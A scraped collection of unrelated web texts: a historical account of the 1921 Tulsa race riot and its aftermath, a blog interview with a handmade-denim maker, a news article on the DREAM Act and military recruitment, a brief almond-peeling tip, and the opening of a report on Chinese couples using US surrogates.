jail. The lynching that ensued essentially ended Woolley’s career in elective office and led to McCullough’s election as sheriff in November 1920.Rather than risk trying to sneak Rowland out of town, McCullough put him in a cell, ordered the only elevator to the jail disabled and had six of his deputies barricade themselves inside with the prisoner. McCullough, Deputy Barney Cleaver and County Commissioner Ira Short remained behind, with McCullough and Cleaver, a black man with a long career in Tulsa law enforcement, trying to disperse the crowd outside.Interestingly, no police seem to have been in evidence at the courthouse. Some sources say bad relations between the sheriff’s and police departments contributed to the failure to control the situation before it got out of hand.Responding to the growing crowd at the courthouse and fears, fanned by phone calls from unidentified sources, for Rowland’s safety, a group of black men assembled at the offices of A.J. Smitherman’s newspaper, the Tulsa Star, on North Greenwood Avenue. After arming themselves, they marched and drove to the courthouse.Sheriff McCullough said Barney Cleaver, one of his black deputies, was the first to inform him of the threats on Rowland’s life. Cleaver, the sheriff said, had telephoned to tell him of a call, apparently similar to the one to Adkison, received at a north side motion picture theater.This call was taken very seriously. Although Tulsa did not have a history of racial violence – the 1920 lynching victim, Roy Belton, was white – it did have more than its share of vigilantism. During World War I, citizens had been harassed and beaten in the name of patriotism, often under color of the local Council of Defense or the Home Guard, a local militia organized to replace National Guard units called into active duty.Mary Jones Parrish, a young black woman who would record her recollections and those of others in a little book called “Events of the Tulsa Disaster,” said she went outside on the night of May 31 to find “that some of our group were going to give added protection to (Rowland).”At least two earlier contingents of concerned blacks had already visited the courthouse. McCullough and Cleaver assured them that Rowland was in good hands and persuaded them to return to Greenwood.The intent of the white crowd is difficult to gauge. Not surprisingly, officials later described the white crowd, at least initially, as more curious than hostile. Without radio, much less television, the only way to see what was happening was to go in person.But the crowd was not completely docile, either. McCullough was hooted down, the World reported, when he tried to disperse the whites. Shortly before the shooting started, a band of irate whites presented themselves at the National Guard Armory, about a mile east of the courthouse, demanding weapons and threatening to break in when they were denied.In any event, McCullough said the only effort to get at Rowland occurred at 8:20 p.m., when three unidentified white men entered the courthouse.“I … told them there had been some talk of a lynching and that they might as well get out for no one was going to get the negro,” McCullough said. “They went out and got into an auto on Boulder street and talked loudly and gesticulated and soon a crowd gathered.”It was at that point, McCullough said, that he ordered his men to run the building’s lone elevator to the top floor, disable it and barricade themselves inside the jail.Over the next hour and a half, McCullough received several telephone calls from concerned black leaders as well as from Maj. James A. Bell of the local Oklahoma National Guard. McCullough assured all of them the situation was under control.Gustafson was more concerned. But, instead of trying to break up the crowd at the courthouse, he focused his attention on the armed blacks. Eventually, he asked Bell for help “to clear the streets of negroes,” but Bell told him only the governor could call the local guardsmen into service.At about 10 p.m., a former county investigator named E.S. MacQueen confronted a black man, sometimes identified as Johnny Cole, in front of the courthouse. As MacQueen and Cole wrestled over the latter’s gun, it discharged. As more than one person observed, “All hell broke loose.”The crowd scattered. McCullough, who had been trying to talk to the crowd, ran for cover in a nearby hotel. Walter Daggs, an oil company manager who lived near the courthouse was shot and killed, apparently by a stray bullet. Sixteen-year-old Homer Cline was killed as he left the bank where he worked. A.B. Stick, gunned down outside the Hotel Tulsa, was reported certain to die but somehow survived.Some sources say a black man was killed at the courthouse, others say not. The World said an unidentified black man was chased down in an alley and killed – then said no black fatalities had been reported. News of fatalities and injuries was often fragmentary, second-hand and contradictory. Cleo Shumate, a white tool dresser, was reported to have been shot about 8 p.m., well before the riot began.Denied weapons at the National Guard armory, whites – including some police – broke into Bardon’s Sporting Goods at 510 S. Main St., across the street from the courthouse, and began taking guns, ammunition and just about everything else in sight. Police involvement may be partially explained by the fact that Bardon’s seems to have sold ammunition to the department on a regular basis.Looting, all of it by rampaging whites, was reported throughout downtown, as shots whizzed haphazardly. Gustafson called in his entire force – around 65 men – and Adkison began commissioning “special deputies” – perhaps as many as 400 of them. Oklahoma National Guard Adjutant Gen. Charles Barrett told Col. L.J.F. Rooney, senior office in Tulsa, to make his troops available to local authorities, even though it would be hours before they could be officially called to duty.The first few Guardsmen to arrive at police headquarters found the street choked with men in uniform – American Legion members, assembled in formation. Although no doubt well-intentioned, their presence initially added to the general chaos. With “much promiscuous shooting,” the World reported, the ex-soldiers marched through the business district. Fortunately, the newspaper said, “no one was hurt.”According to the World, shooting continued for two hours “over the city and centered in the north part of the business district,” until the last of the blacks had retreated into Greenwood.The shots at the courthouse touched off two hours of fighting and general chaos in downtown Tulsa, culminating in the return of Rowland’s intended protectors to the Greenwood area shortly after midnight. The handful of National Guardsmen available, along with some volunteers, tried to get between the combatants along the Frisco Railroad tracks and Detroit Avenue. Although the fighting never completely stopped, it did die down during the early morning hours, causing many to believe the riot was playing itself out.Col. L.J.F. Rooney, the senior officer among the Tulsa National Guard units, wanted to establish an armed perimeter around Greenwood but gave up the idea as impractical.“We didn’t have enough men,” Rooney said. “It would have taken at least 1,000 men to restore any degree of order and to put an effective guard line about the negro district would have required that many more.”At about 1:30 a.m., Maj. Byron Kirkpatrick of the Oklahoma National Guard finally secured the necessary signatures for the telegram formally asking Gov. J.B.A. Robertson for National Guard assistance.Kirkpatrick’s primary obstacle had been getting to Sheriff McCullough, who was still barricaded in the top floor of the courthouse, threatening to shoot anybody who showed himself in the stairwell leading to the jail. A Tulsa World reporter finally persuaded McCullough to let him in with the telegram.Three National Guard units were based in Tulsa – a rifle company, a supply company and a sanitary (or medical) unit. An artillery unit had been authorized and was in the process of forming but had not been equipped. On the night of May 31 and morning of June 1, the Tulsa units had perhaps 35 men under arms. This did not include the medical unit, which was employed primarily in caring for wounded and injured blacks.Besides the guardsmen, Rooney had at his disposal, at least in theory, several hundred ex-servicemen, most of them members of American Legion posts in Tulsa, Cleveland, Okla., Broken Arrow and Bristow. Rooney put these men under the command of Major Charles Daley, a Tulsa police inspector and staff officer to Adjutant Gen. Charles Barrett.Restoring order along the Frisco tracks was not the only concern of the authorities. Rumors persisted throughout the night that hundreds of blacks were descending on Tulsa, reinforcing the notion of a “Negro uprising” and causing Rooney to stretch his men even thinner. Squads were sent to guard the city power plant and water works, while the police, ex-servicemen and the special deputies roamed the city in “auto patrols,” rounding up blacks living in servant quarters outside Greenwood and looking for the supposed invaders.Rooney and about 30 men and officers established themselves along Detroit Avenue, on a rise called Standpipe Hill, where gunfire had been exchanged between adjoining white and black neighborhoods. The Guardsmen came under fire from both sides and an ex-serviceman named Wheeler, who had volunteered to join the Guard unit, was seriously wounded by a white gunman.At dawn, a force of “citizens, police and members of the national guard,” numbering perhaps 1,500, moved into Greenwood from the south and west, under orders to take into protective custody unarmed blacks and to subdue any who resisted. To people in Greenwood, it looked more like an invading army.“It then dawned upon us that the enemy had organized in the night and was invading our district, the same as the Germans invaded France and Belgium,” wrote Mary Jones Parrish, a Greenwood resident who recorded her experience and those of some of her neighbors in a pamphlet called “Events of the Tulsa Disaster.”Authorities, still operating on the premise of a “Negro uprising,” maintained they wanted to get control of Greenwood, not destroy it. They failed on both counts.Most Greenwood residents surrendered peacefully or fled northward. Many were hidden by employers or other acquaintances and sometimes even total strangers. The few who stayed behind to fight were overwhelmed.The National Guard reported engaging in several short skirmishes as it moved down from Standpipe Hill – the hill just west of the present Oklahoma State University-Tulsa campus – and one longer battle in which about 50 blacks “fought like tigers.” The last organized resistance came from gunmen in the Mount Zion Baptist Church tower. When they refused to come out, the new church, valued at $80,000, was set on fire.Along the Frisco tracks, Maj. Charles Daley and about 25 men were trying to hold back an angry horde of perhaps 1,000. Daley said he repeatedly sent for help from the police, but was told they were “busy elsewhere.”“Finally the crowd broke away from Daley,” reported The Tulsa Tribune, “and the invasion of the negro district began.”Six aircraft, probably JN-4 biplanes from a local airstrip, were employed by the police during the attack. Local authorities insisted the planes were used solely for reconnaissance purposes. Some on the ground, though, said the planes were used to bomb and strafe Greenwood and its fleeing residents.As a practical matter, dropping explosive or incendiary devices from a JN-4 would probably not have been very easy or effective, but that doesn’t mean it didn’t happen.The JN-4, or “Jenny,” was a two-seat trainer built for World War I but never used in combat. The Army wound up with a large surplus of them, which it sold in kits throughout the country. The planes were constructed of shellac-coated canvass fabric over a wood frame, and were favored by barnstormers because of the aircraft's low cost to own and maintain.At its best, aerial bombing during World War I was more of a psychological than tactical weapon. Bombsights were crude, in some cases no more than crosshairs over a hole in the bottom of the fuselage, and accuracy was almost nil.Dropping bombs from a Jenny would have been even more imprecise. It would have required throwing the explosive or incendiary device out of the cockpit without hitting the plane’s lower wing span or, in the case of an incendiary, catching the plane on fire. All accounts seem to agree the planes’ appearance coincided with the invasion of Greenwood, which raises the likelihood that the bombs would have been at least as much of a danger to the National Guard and the other whites flooding into the neighborhood as they were to blacks.On balance, it seems most likely that all or substantially all of the damage to Greenwood was inflicted by those on the ground. The airplanes, though, immediately took on significance far beyond whatever role they may have played in the battle. To many, blacks and whites, they represented the oppression and brutality that reduced Greenwood to ashes.As Tulsa’s black population was rounded up and taken to detention centers at the Convention Hall (present-day Brady Theater), McNulty Park (10th Street and Elgin Avenue) and later the fairgrounds (Admiral Boulevard and Lewis Avenue), looters and vandals descended on the Greenwood district, setting fires and stealing and destroying residents’ possessions.Some of those involved were the very people who were supposed to bring order to the chaos. Among them were the “special deputies” appointed during the night by Adkison. So was the Home Guard, a militia organized during World War I to replace National Guard units called to active duty. During the war, the Home Guard singled out and terrorized those it deemed insufficiently supportive of the war effort. It also took action against those it considered immoral. Although officially disbanded in 1919, members of the Home Guard apparently put on their old uniforms and waded into the fray on the morning of June 1, 1921.“Most people, like myself, stayed in their homes, expecting momentarily to be given protection by the Home Guards or State Troops,” E.A. Loupe told Mary Jones Parrish. “Instead of protection by the Home Guards, they joined in with the hoodlums in shooting at good citizens’ homes.”Col. L.J.F. Rooney, the senior National Guard officer in Tulsa, complained that “there were many men in the negro district wearing khaki clothes (i.e. uniforms) who were not members of the national guard.”Tulsa police also seem to have been involved in the mayhem. More than one witness identified officers, usually out of uniform, among the arsonists. V.B. Bostic, a black deputy sheriff, was rousted from his home by a white traffic officer named Pittman, who then joined in setting fire to Bostic’s house. I.J. Buck, a white Greenwood property owner, said a policeman turned him aside when Buck tried to save one of his buildings.“He said: ‘You ain’t got no business building buildings for negroes,’ ” Buck testified in court.“After the homes vacated,” said one Greenwood resident, “one bunch of whites would come in and loot. Even women with shopping bags would come in, open drawers, take every kind of finery from clothing to silverware and jewelry. Men were carrying out the furniture, cursing as they do so, saying, ‘These damned Negroes have better things than lots of white people.’ ”Fire soon consumed Greenwood’s main business district and more than 1,100 homes. Only a few houses, one or two churches on the perimeter of the community and Booker T. Washington High School survived.“Nothing,” the Tulsa World’s Tom Latta wrote the next day, “that the mind is capable of conceiving permits a word of defense or excuse for the murderous vandalism” inflicted on Greenwood.The most prominent Tulsan killed in the riot was Dr. A.C. Jackson, a 40-year-old surgeon living at 523 N. Detroit Ave. According to Jackson’s white neighbor, former police commissioner and retired judge John Oliphant, Jackson had raised his hands to surrender to a group of whites when two of them shot Jackson dead in what Oliphant called “cold-blooded murder.”Born in Memphis and raised in Guthrie, where his father was a law officer, Jackson graduated from Meharry Medical College in Nashville, practiced for awhile in Tulsa and Claremore, then trained as a surgeon in Memphis. His work was such that he attracted the attention of the Mayo Brothers, and in 1919 he returned to Tulsa as a specialist in “chronic diseases and surgery for women.”Jackson lived on what was one of the most exclusive blocks in all of Greenwood. His neighbors included Booker T. Washington High School principal E.W. Woods, Tulsa Star publisher A.J. Smitherman and physician R.T. Bridgewater. Why Jackson, one of the gentlest of men, would have been singled out is not known. Perhaps he was mistaken for the more outspoken Smitherman or Bridgewater. Perhaps he was just in the wrong place at the wrong time.The riot had all but died down, Oliphant said, when Jackson “came walking toward me with his hands in the air. ‘Here am I. I want to go with you,’ he said. A body of about seven men, all armed, intercepted him and two young fellows fired on him. He fell to the ground and one of the men fired again.”Jackson’s killers were never identified.By mid-morning on June 1, the violence and destruction were beginning to subside. Tulsa-based National Guardsmen, soon reinforced by units from Oklahoma City, Bartlesville and other communities, began securing the Greenwood area. At 11:15 a.m., Gov. J.B.A. Robertson declared martial law with Adj. Gen. Charles Barrett in command. Some looting continued through the afternoon, until by evening about 30 whites had been arrested for “pillaging.”According to some accounts, the Oklahoma City units, which included a machine gun company, were involved in the final attack on Mount Zion Baptist Church. This is not mentioned in any of the officers’ action reports and seems unlikely since those troops did not arrive until 9:30 a.m., by which time the church was already on fire.A lawyer and former newspaper publisher who had served in the Oklahoma House and Senate, Barrett had limited military experience but was a fair administrator. He issued a number of field orders, some of which have since been misinterpreted.For instance, Barrett temporarily banned all funerals in downtown churches. Over time, this was seen as an attempt to keep blacks from burying their dead. In fact, it had almost no effect on black funerals, since those would not have been held in the downtown white churches, anyway. The purpose of the ban was to keep grieving white families from coming into contact with blacks still staying in some downtown churches.Barrett also ordered a moratorium on property transfers in Greenwood. This was to head off speculation and forced sales.Martial law was eased on June 2 and lifted altogether at 5 p.m. on June 3.By mid-day on June 1, Greenwood had been emptied of all but a handful of its inhabitants. A few found refuge in downtown churches or the homes of white employers, acquaintances and even strangers. Fewer still somehow rode out the riot in their own homes. The majority by far had either fled the city or been taken into what was described as protective custody.Forced to march for blocks through white neighborhoods with their hands in the air while their homes and possessions burned behind them, the detainees were subject to harassment and humiliation. Some were robbed of whatever valuables they had managed to stuff in their pockets.They were taken first to Convention Hall, now the Brady Theater. It soon proved inadequate, and McNulty Park, the local minor league baseball stadium at 10th Street and Elgin Avenue, was put into service. Finally, in the afternoon, the detainees were transported to the fairgrounds at Admiral Boulevard and Lewis Avenue.Through the afternoon and into the next day, National Guard patrols went out into the countryside to pick up Greenwood residents. Some had gotten as far as Claremore and Bartlesville. A few made it all the way to Kansas City. A good many simply kept going and never looked back.Detainees were given food, water and medical attention that first day. The black hospital had been burned, so a makeshift clinic for injured blacks was set up at the National Guard Armory. Maj. Paul Brown, a Tulsa physician and commanding officer of the sanitary detachment, then commandeered beds in white hospitals for the most serious cases.Many detainees were released within hours, while others remained at the fairgrounds camp for weeks. Generally, detainees were held until a white person vouched for them, at which point they were given a card to wear on their clothes. Those without cards were subject to arrest.Those with nowhere else to go were allowed to stay at the fairgrounds camp, regardless of whether or not they had been released. At its height, the camp housed about 5,000.Those who remained were required to pay for their meals, either out of their own pockets or by working at various tasks, including cleaning up the debris in Greenwood. For this, they were paid standard laborers’ wages. It was by no means an easy existence, but some whites soon complained that blacks were being “spoiled” at the fairgrounds and by the attention given them by the Red Cross and other charitable organizations.Although the destruction of Greenwood was generally condemned by black and white Tulsans alike, overall blame was quickly assigned to the blacks who had gone to the courthouse to protect Dick Rowland.The true death toll will probably never be known. Thirty-seven death certificates were issued for riot-related fatalities, but most experts believe the total was higher – perhaps much higher. Hundreds and perhaps thousands were injured.Property damage in Greenwood was put at $1.5 million to $2 million at a time when a good house could be built for less than $1,000. According to the Red Cross, 1,256 homes were burned and another 215 looted but not destroyed.Of the 37 death certificates, 25 were for black males and 12 for white males. Nine black victims, burned beyond recognition, were not identified.Two other deaths are sometimes included in the confirmed total: a still-born black infant found during the riot and a white male shot several days later when he drove through a checkpoint on the outskirts of town.The number of dead and injured has been the subject of controversy from the very start. Early on, the Tulsa World reported 100 dead, then scaled its estimate back to 30, saying some bodies had been counted twice and others thought dead were only injured.Maj. Charles Daley, the National Guard officer who had been installed in the Tulsa Police Department as a sort of inspector general, contributed to the confusion by saying he expected the toll to reach 175. After inspecting the burned area with another National Guard officer, however, Daley said no additional bodies were found and the number of dead was much lower than previously thought.There was indeed much confusion. Some people reported dead weren't, and some reported “slightly injured” were in fact dead. A few of the dead were either misidentified or had been living under assumed names. According to the Red Cross, many people and especially whites were reluctant to seek medical attention for even major injuries.Stories abound of bodies “stacked like cordwood,” loaded on trucks, dumped in the Arkansas River, thrown down mine shafts and burned in the city incinerator. Some, on examination, are more plausible than others; none, at this late date, can be proved or disproved.On June 3, 1921, just two days after the riot, the Tulsa World reported that 13 black victims of the riot were buried in Oaklawn cemetery “in separate graves and in plain caskets,” a description that suggests a suspicion of something otherwise even then.In 1999 and 2000, a commission authorized by the Oklahoma Legislature and the Oklahoma Geological Survey probed for mass burial sites at several locations in Tulsa, including Newblock Park, Oaklawn Cemetery and the former Booker T. Washington Cemetery.Their search was unsuccessful.A grand jury convened the second week of June said the armed blacks at the courthouse were the direct cause of the riot, but said indirect causes were more to blame. Among the indirect causes cited were agitation for social equality and lax law enforcement. Eighty-eight indictments were issued, mostly for black men, but few seem to have been served. A few people arrested during and after the riot were convicted of or pleaded guilty to minor crimes such as possession of stolen property.Immediately after the riot, a group of white businessmen proposed moving the black neighborhood further to the northeast and converting the Greenwood area to a warehouse district. This effort ultimately failed when the business group could not raise the necessary capital. In September, Tulsa County’s three district judges ruled the city had illegally extended its fire code in an attempt to thwart blacks from rebuilding. Their decision effectively ended the real estate group’s scheme.The group’s efforts, though, helped feed suspicions of conspiracy and cover-up. Some have suggested the entire incident, including the encounter between Dick Rowland and Sarah Page, had been staged to provide an excuse to lay waste to Greenwood. They point to the actions – or inaction – of authorities during the buildup to the riot and failure to protect Greenwood property on the morning of June 1.There were also claims that the blacks who went to the courthouse wanted a fight. According to later testimony and notes found in the papers of Gov. J.B.A. Robertson, hotel owner John Stradford had exhorted the men at the Tulsa Star office with the promise to “send and get the Muskogee crowd” – that is, reinforcements from the nearby city of Muskogee. The African Blood Brotherhood, an arm of the Communist Party based in New York, claimed to have had a chapter in Tulsa organizing armed resistance to racial oppression.Stradford and Smitherman were arrested after the riot, posted bail, and left Oklahoma forever. Stradford settled in Chicago, where his family became prominent. Smitherman opened a newspaper in Buffalo, N.Y.In July, a jury found Police Chief John Gustafson guilty of dereliction of duty and removed him from office. He resumed his career as a private investigator.In September, a large Ku Klux Klan rally was held at Convention Hall. It was the Klan’s first public appearance in Tulsa, although many people believed it had a hand in the riot.The original Klan, organized during Reconstruction, had been broken up in the 1870s, but a new organization was formed in Atlanta in 1915. This Klan promoted a broader agenda than its predecessor, based not only on racism and white Angle-Saxon Protestantism but vigilante enforcement of its own moral code.In April 1922, more than 1,700 Klan members marched through downtown Tulsa while an airplane carrying an electrically lighted cross flew overhead. In that spring’s city elections, Klan candidates swept every office, and did the same when county elections came around in the fall. In August 1923, Gov. J.C. Walton declared martial law in Tulsa County because of Klan activity.Most insurance claims stemming from the riot were denied because policies typically excluded such damage. Scores of lawsuits were filed as a result. One by white property owner William Redfearn alleged the riot had in fact been a police action. Redfearn produced a number of witnesses who said police actively participated in the destruction of Greenwood.Refearn’s suit was dismissed, as were all others. Few property owners were ever reimbursed for their losses.Greenwood families lived in tents and makeshift shacks in their old neighborhood for much of the next year, but eventually the neighborhood did rebuild, reaching its peak during World War II.Few landmarks associated with the riot still stand. The most visible is the former Convention Hall, now Brady Theater, at 105 W. Brady St. Most of the area destroyed in the riot is occupied by campuses of Oklahoma State University and Langston University.The old Tulsa County Courthouse, where Dick Rowland was held and the shooting began, was demolished in 1960 to make way for a 32-story bank building. The police station, the Hotel Tulsa and Magee’s and Bardon’s Sporting Goods stores are long gone. The armory where National Guardsmen faced down angry whites has for decades been a Veterans of Foreign Wars hall.Mount Zion Baptist Church rebuilt, slowly and painfully, over a period of many years. For awhile, it had to meet in the church basement, the only part of the building still usable. A freeway runs where the fairgrounds and Dr. A.C. Jackson’s house once stood and cuts the old Greenwood in two. The formerly bustling business district was reduced to a single block.In 1997, the Oklahoma Legislature authorized a special commission to investigate the Tulsa riot. The commission’s report, issued in 2001, recommended reparations for living black survivors of the riot. The recommendation was never acted upon.In 2003, a federal lawsuit was filed against the state of Oklahoma, city of Tulsa and the Tulsa Police Department on behalf of about 200 survivors and descendents of blacks living in Greenwood at the time of the riot. In 2004, the courts dismissed the suit, ruling the statute of limitations had run out.In 2007, Tulsa County District Attorney Tim Harris formally dismissed the original indictment against alleged riot participants.For many Tulsans, the riot remains a sensitive and controversial issue. For some, it is merely something that happened long ago with little relevance today. For others, however, it remains a symbol of oppression and prejudice that speaks to modern race relations.The opening of the John Hope Franklin Reconciliation Park adjoining ONEOK Field, the city’s new minor league baseball stadium, is expected to bring new life to Greenwood. It is also expected to bring greater attention to a painful but important chapter in Tulsa’s history, and to one of its most distinguished sons.At the 2008 dedication to the park named in his honor, John Hope Franklin, in one of his last public appearances before his death, said, “Someday we’ll have the joy and pleasure of complete reconciliation. We’re moving in that direction. I hope we get there very soon.”Charles Barrett, “Oklahoma After Fifty Years”Scott Ellsworth, “Death in a Promised Land: The Tulsa Race Riot of 1921”Mary Jones Parrish, “Events of the Tulsa Disaster”The Black DispatchThe CrisisThe CrusaderThe New York TimesThe Tulsa TribuneTulsa World.A.I. Levorsen CollectionBeryl Ford CollectionGreenwood Cultural CenterOklahoma Department of LibrariesOklahoma Historical SocietyOrcutt familySapulpa Historical MuseumTulsa World file
-May 13, 2014  Written By Timothy Nguyen  Farmtown Denim, founded by Melissa Farmer, specializes in handmade denim goods that are manufactured by hand in Sacramento, California. A friend recently brought the brand to my attention and I haven’t been able to stop thinking about her work since. Of all the items she has to offer, the dopp kits in particular are what really piqued my interest. I was quite impressed by the amount of detail and craftsmanship that goes into everything she makes. I knew that I had to reach out and find out more about Melissa and her work.  How did you end up with the name Farmtown Denim?  Having the last name of Farmer lends itself to many nicknames, and Farmtown was one of those. I’ve also been known as MFarm, MelFarm, Felissa Marmer, M-Dawg, Farmdawg…the list goes on and on.  I absolutely love your logo. Could you explain to me the thought process behind it and what it means?  My logo says “hero” in Elian Script, an alternative writing method meant to combine function and art. It’s a shortened form of the full quote “be your own hero,” from the movie Whip It. It’s a mantra I try to live my life by – if there’s something you want or something you’re unhappy about for whatever reason, instead of waiting for someone else to fix your problem, go on ahead and do it yourself.  When was your first experience with raw denim?  My friend asked me to help him take progress pictures of his pair of raws, which I found weird and amusing. I asked him what was so special about his pants and he explained the entire idea to me. I bought my first pair a few months later, and made my first pair about a year after that.  What is it about raw denim that draws you in compared to other hobbies?  I’m a pretty sentimental person, so I was initially drawn to the story aspect of a pair of jeans and how it becomes a record of your daily life. Now that I’ve learned and experienced more, I also love the attention to detail and excellence of construction that comes along with a well-made pair. There’s something very beautiful about an item that not only functions properly, but also looks good while doing it.  Were you sewing before your interest in raw denim or was this a spur of the moment type thing?  I’ve been sewing since I was young. My mom is a very crafty woman, and when I was little she loved giving me smaller versions of the projects she was working on at the time. I remember making pillows, pajama pants, and lots and lots of stuffed animals. I started working with raw denim a little more than a year ago, when I became frustrated with my inability to find a pair for myself that had all of  the features I was looking for.  Who would you say is your biggest influence would be? Do you have anyone that you look up to?  My biggest influence is probably my friend Greg. Not only is he the one who introduced me to raw denim, but he is also the one who pushes me to improve my skills the most by challenging me with new projects (like a 21oz pea coat) and by being incredibly picky about the smallest details. I follow something we call the “Pfaff Rule of Quality” – if something I’ve just made is not good enough to be photographed in extreme detail from every possible angle, it must be fixed.  How do you feel about raw denim becoming increasingly mainstream?  Of course, I’m all for more people being introduced to raw denim. I just hope that new and upcoming brands are able to find the courage to continue to innovate and introduce new ideas to the industry. Websites like Kickstarter can make it incredibly easy to get started, but can also make it incredibly easy to fall into a mold. In the end, nothing can substitute for true passion.  Of the things you’ve made, which is your favorite?  That’s a really hard choice, but I’d probably have to go with my tote bag. They’re one of my favorite things to make, and the one I’ve been using daily for the past few months has been aging beautifully. I also really love the chambray tank top and henley that I’ll be releasing soon.  Is there any particular denim you just can’t get enough of?  I’m currently in love with this 50% sugarcane denim I recently got ahold of. It’s got an amazing texture and variation of color. I’m usually more of a fan of wearing smooth textured pairs myself, but that stuff is just so cool. I’ll be treating myself to a work shirt made from it.  What are you working on right now?  I’m currently grading the pattern for the chambray tank tops and henleys, as well as sourcing a fabric for an oxford cloth version of those dyed with natural dyes. I’m also working on finalizing the pattern of some coveralls, as well as the work shirt for myself. It’s pretty typical for me to have a bunch of projects going on at once!  Are there any future products you are interested in making but haven’t had time to get to yet?  I want to keep exploring natural dyes. I’ve tried a few in my apartment kitchen, but there’s so many colors and processes to try. I’m also planning on expanding more into clothing – button down shirts, jackets, and eventually jeans.  What were some of the mistakes you made early on?  When I first started, I tried to take on too much too quickly. I made my first draft pair in a nonstop 15 hour long stretch, and when they didn’t fit in the end, I nearly burst into tears of frustration. I’m much more likely to make an unfixable mistake – like slashing fabric with my seam ripper while I’m trying to take out some bad stitching – when I’m tired and cranky. Since then, I’ve learned the importance of snack breaks, mental breaks, and sleep breaks. I’ve never been a patient person, but in the creative process, it’s better to take all the time necessary to get the best result instead of working quickly and shoddily.  What are you currently fading?  I’m split between my two handmade pairs – 13.5oz Cone Mills, and 13.25oz Kurabo indigo/indigo.  Do you have any advice for someone looking to get into raw denim?  Read all that you can! There’s so many resources throughout the internet and beyond to teach you about the pair of jeans you’re wearing. The history and function of the aspects of each garment are completely fascinating, and make putting on your jeans in the morning so much more interesting and meaningful.  Thank you so much for taking time for this interview. Any final thoughts for the readers?  When Ellen Page expresses her admiration towards the roller derby girls in the movie Whip It, Kristen Wiig tells her, “Well, put some skates on, be your own hero.” If there’s something you want to do in your life, whether it’s roller derby or making jeans, don’t be afraid to get up from the sidelines and do it. With enough blood, sweat, and tears –all of which are surprisingly a big part of sewing – anything can be within your reach.  To check out all that Melissa has to offer and find out about new releases, visit her Facebook and her Instagram  Farmtown Denim’s Etsy store will be fully open with new products on May 17, 2014 so I would definitely keep an eye out for that.  Photo credits: Gregory Pfaff – Flickr – Blog – E-mail  If you want to hear about updates and upcoming articles first; follow us on Twitter, Instagram, and Facebook!
-Enlarge By Partrick Baz, AFP/Getty Images The Migration Policy Institute, a non-partisan research group that supports an overhaul of immigration law, estimates that more than 725,000 people would be eligible immediately for conditional residency under the DREAM Act. Immigration advocates have long pushed for the DREAM Act as a way to give children who were brought to the U.S. illegally by their parents a chance to become legal residents and have access to higher education. The less publicized part of the Development, Relief and Education for Alien Minors Act is that the Pentagon is pushing for it as a means to staff the armed forces. Prospects dimmed Tuesday when Senate Republicans prevented a vote on a defense spending bill, because the DREAM Act was attached as an amendment. Senate Democrats vowed to reintroduce it. When the Department of Defense published its three-year strategic plan, it listed the DREAM Act as a way it could replenish its ranks. BORDER DEATHS: Near-record bodies found at Mexican-Ariz. border SHARP DECREASE: Fewer illegal immigrants entering USA IMMIGRATION POLICY: Full coverage on the immigration "If we needed to expand the pool of eligible youth, the (DREAM) initiative would be one of several ways to do it," spokeswoman Eileen Lainez said in an e-mail. Retired Army lieutenant colonel Margaret Stock says a "crisis in military manpower" is looming as the population ages and the economy improves. She says the military struggled to recruit enough people when the economy was booming just a few years ago because people had more employment options. "DREAM would give us the ability to tap into a huge number of people who grew up in the United States, were educated here, they talk like Americans, they look like Americans and their loyalty lies with America," says Stock, a former West Point professor who teaches political science at the University of Alaska-Anchorage. The act would allow illegal immigrants who met several requirements — 35 or younger, came to the U.S. before turning 16, have lived here at least five years, no criminal record and have earned a high school diploma — to become conditional residents for up to six years. They would be eligible to become permanent residents if they completed two years of college or two years in the military. The Migration Policy Institute, a non-partisan research group that supports an overhaul of immigration law, estimates that more than 725,000 people would be eligible immediately for conditional residency. An additional 1.4 million would meet all the requirements except the high school diploma. The military part of the act worries Jorge Mariscal, director of Latino studies at the University of California-San Diego. He says many illegal immigrant families are too poor to pay for college. "Our concern is that people are just going to get trapped for economic reasons into the military," says Mariscal, who otherwise supports the DREAM Act. Roy Beck, executive director of NumbersUSA, which advocates lower levels of legal and illegal immigration, opposes the DREAM Act because it does not address the larger problems of illegal immigration. Felipe Matos would be glad to join the military under the DREAM Act. Born to a single mother in the slums of Brazil, he came to live with relatives in the U.S. at 14. He graduated from high school, got an associate's degree at Miami Dade College and hopes to get a four-year degree and become a high school teacher. He says he wants to repay the country that gave him the opportunity to succeed. "I have friends who would have loved to join the military," says Matos, 24. "I feel that all of us are just trying to serve and contribute to the only country we know and love." Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more
-How to peel almonds  How to peel almonds  Sometimes we forget how healthy and nutritious certain foods really are. Case in point: Almonds. They pack an amazing amount of nutrition, being rich in vitamin E, manganese, magnesium and a good source of fiber, copper, riboflavin and phosphorous.  Almonds are treasured all around the world. In the 1700s the Spanish brought the almond tree to California, which now produces over 80% of the worlds almond crop. The biggest importers of almonds are Spain, Germany, India, Japan and the Netherlands.  To me, almonds are one of the most luxurious ingredients on earth. Perfectly toasted, they are delicious in Florentines and almond tuiles. Some of the most elegant confections I make are based on almond flour or almond paste, such as French macaroons and San Diego’s.  Getting it all together!  Peeling almonds takes no time. For every cup of almonds bring 4-5 cups of water to a boil. Add the almonds to the boiling water. After sixty to ninety seconds remove from heat and pour the almonds in a colander. Press the almonds between your thumb and index finger and the peel comes right off. Done! If desired, toast the almonds.  With special thanks to Matthew Zoch for his appearance in photograph 1.
-Shanghai resident Tony Jiang and his wife Cherry have three children - all born in the United States to an American surrogate mother. Their daughter and twins were born in California. “The elder girl is now three years old," he told VOA. "The younger twins are now 13 months.”  The Jiangs are part of China’s booming business of families seeking American women to bear their children. Although surrogacy is illegal in China, agencies are now connecting Chinese couples with Americans who will bear their children for a fee.  The Jiangs had turned twice to domestic surrogates through military hospitals, which can legally perform the procedure. But the efforts were unsuccessful, so they contacted a surrogacy agency in the United States. There, they connected with Amanda, a California resident who prefers to only give her first name. She gave birth to all three of the Jiang children.  “Cherry was actually in the room with me when Nicole was born, and she actually got to witness the birth, and see Nicole come into this world," she said. "And she was so ecstatic, and she was crying, and she was just so happy.”  Fertility options with benefits  China’s relaxation last year of its one child policy, which allows couples to have two children if one of the parents is an only child, has led families to seek fertility options. But a regulation under the Ministry of Health bans surrogacy procedures at most Chinese hospitals.  So increasing numbers of wealthy Chinese couples are seeking fertility options in the United States, a decision that comes with many benefits.  Under the 14th Amendment to the U.S. Constitution, anyone born in the United States has a right to citizenship. U.S. citizens may also 